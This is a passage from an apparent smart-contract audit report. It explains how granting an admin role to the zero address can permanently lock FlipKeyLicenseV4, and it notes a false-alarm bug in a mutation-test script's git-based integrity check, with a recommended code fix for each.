Because the guard checks the member count, granting `DEFAULT_ADMIN_ROLE` to `address(0)` satisfies it with an account nobody can ever sign for: the count reaches 2, the real admin then renounces or revokes itself (the guard passes because the count is no longer 1), and the contract is left with `address(0)` as its sole admin. Every admin-gated action — role rotation, URI and royalty config — then reverts forever. This is exactly the permanently-frozen state `CannotRemoveLastAdmin` was written to prevent, reached through the front door.

The constructor grants `DEFAULT_ADMIN_ROLE` through the same `_grantRole` path, so a zero-address admin at deploy is also accepted, producing a contract nobody can administer.

`FlipKeyItems1155` already closes this by overriding `_grantRole`; `FlipKeyLicenseV4` does not, so the same reasoning that protects one contract leaves the other exposed.

Recommendations

Override `_grantRole` to refuse `DEFAULT_ADMIN_ROLE` for the zero address, mirroring `FlipKeyItems1155`. This also rejects a zero-address admin in the constructor, since it grants through the same path.

```
+ error ZeroAddress();

+ function _grantRole(bytes32 role, address account) internal virtual override {
+     if (role == DEFAULT_ADMIN_ROLE && account == address(0)) revert ZeroAddress();
+     super._grantRole(role, account);
+ }
```

Informational Findings (continued)

[I-05] mutation-test.js :: integrity check compares against git HEAD, so it false-alarms on any uncommitted change

Description

`mutation-test.js` snapshots each source file in memory, mutates it one guard at a time, and restores it from that snapshot. Its final "source is unchanged" check, however, compares the working tree against the last commit (`HEAD`) rather than against the pre-run state:

```
let dirty = "";
try {
  dirty = execSync(`git diff --stat -- ${[...originals.keys()].join(" ")}`, { cwd:
  ROOT, encoding: "utf8" }).trim();
} catch (_) { /* not a git repo; skip */ }
console.log(dirty ? `\n!! SOURCE LEFT MODIFIED:\n${dirty}` : "\nSource restored
clean.");

process.exit(survived.length > 0 || dirty ? 1 : 0);
```

When the script is run with any uncommitted change to those files — the normal state while reviewing or remediating — the restored files still differ from `HEAD`, so `git diff` is non-empty. The check then prints `SOURCE LEFT MODIFIED` and exits non-zero even though the run restored everything it touched, making it look like the tool corrupted the working tree. The failure is a false alarm in exactly the situation the tool is used in.

Recommendations

Compare the post-run state against the pre-run snapshot the script already holds (`originals`), not against `HEAD`, so only changes this run introduced are flagged.

```
- let dirty = "";
- try {
-   dirty = execSync(`git diff --stat -- ${[...originals.keys()].join(" ")}`
  , { cwd: ROOT, encoding: "utf8" }).trim();
- } catch (_) { /* not a git repo; skip */ }
+ // Compare against the in-memory pre-run snapshot, not git HEAD, so pre-existing
+ // uncommitted changes are not misreported as damage this run caused.
+ const dirty = [...originals].some(
+   ([f, content]) => fs.readFileSync(path.join(ROOT, f), "utf8") !== content
+ );
  console.log(dirty ? "\n!! SOURCE LEFT MODIFIED" : "\nSource restored clean.");

  process.exit(survived.length > 0 || dirty ? 1 : 0);
```